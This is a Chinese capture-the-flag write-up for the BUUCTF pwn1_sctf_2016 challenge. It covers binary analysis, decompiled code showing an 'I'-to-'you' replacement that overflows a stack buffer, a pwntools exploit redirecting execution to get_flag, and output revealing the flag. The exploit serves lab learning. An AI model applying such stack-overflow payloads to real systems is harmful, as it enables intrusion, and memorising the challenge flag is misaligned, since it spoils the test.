BUUCTF-PWN爬坑-04-pwn1_sctf_2016

pwn1_sctf_2016

file

root@kali:~/Downloads# file pwn1_sctf_2016 
pwn1_sctf_2016: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=4b1df4d30f1d6b75666c64bed078473a4ad8e799, not stripped

checksec

root@kali:~/Downloads# checksec pwn1_sctf_2016 
[*] '/root/Downloads/pwn1_sctf_2016'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled #//栈不可执行
    PIE:      No PIE

IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vuln();
  return 0;
}

int vuln()
{
  const char *v0; // eax
  char s; // [esp+1Ch] [ebp-3Ch]
  char v3; // [esp+3Ch] [ebp-1Ch]
  char v4; // [esp+40h] [ebp-18h]
  char v5; // [esp+47h] [ebp-11h]
  char v6; // [esp+48h] [ebp-10h]
  char v7; // [esp+4Fh] [ebp-9h]

  printf("Tell me something about yourself: ");
  fgets(&s, 32, edata);  //输入限制32个字符
  std::string::operator=(&input, &s);
  std::allocator<char>::allocator(&v5);
  std::string::string(&v4, "you", &v5);
  std::allocator<char>::allocator(&v7);
  std::string::string(&v6, "I", &v7);
  replace((std::string *)&v3);
  std::string::operator=(&input, &v3, &v6, &v4); // I 替换you
  std::string::~string((std::string *)&v3);
  std::string::~string((std::string *)&v6);
  std::allocator<char>::~allocator(&v7);
  std::string::~string((std::string *)&v4);
  std::allocator<char>::~allocator(&v5);
  v0 = (const char *)std::string::c_str((std::string *)&input);
  strcpy(&s, v0);
  return printf("So, %s\n", &s);
}
int get_flag()
{
  return system("cat flag.txt");
}

char s; // [esp+1Ch] [ebp-3Ch] #s:60个字符大小
v0 = (const char *)std::string::c_str((std::string *)&input); 
strcpy(&s, v0); //溢出区域

#get_flag	.text	08048F0D	00000014	0000001C	00000000	R	.	.	.	B	.	.

from pwn import *

ip='node3.buuoj.cn'
port=26973
p = remote(ip,port)

bin_sh =0x08048F0D

payload = 20*b'I' + 4*b'b'+ p32(bin_sh)

p.sendline(payload)
p.interactive()

root@kali:~/Downloads# python3 pwn1_sctf_2016_exp.py 
[+] Opening connection to node3.buuoj.cn on port 26973: Done
[*] Switching to interactive mode
flag{4068ba06-f18b-4da9-b56a-70d655103e28}
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive
$ ls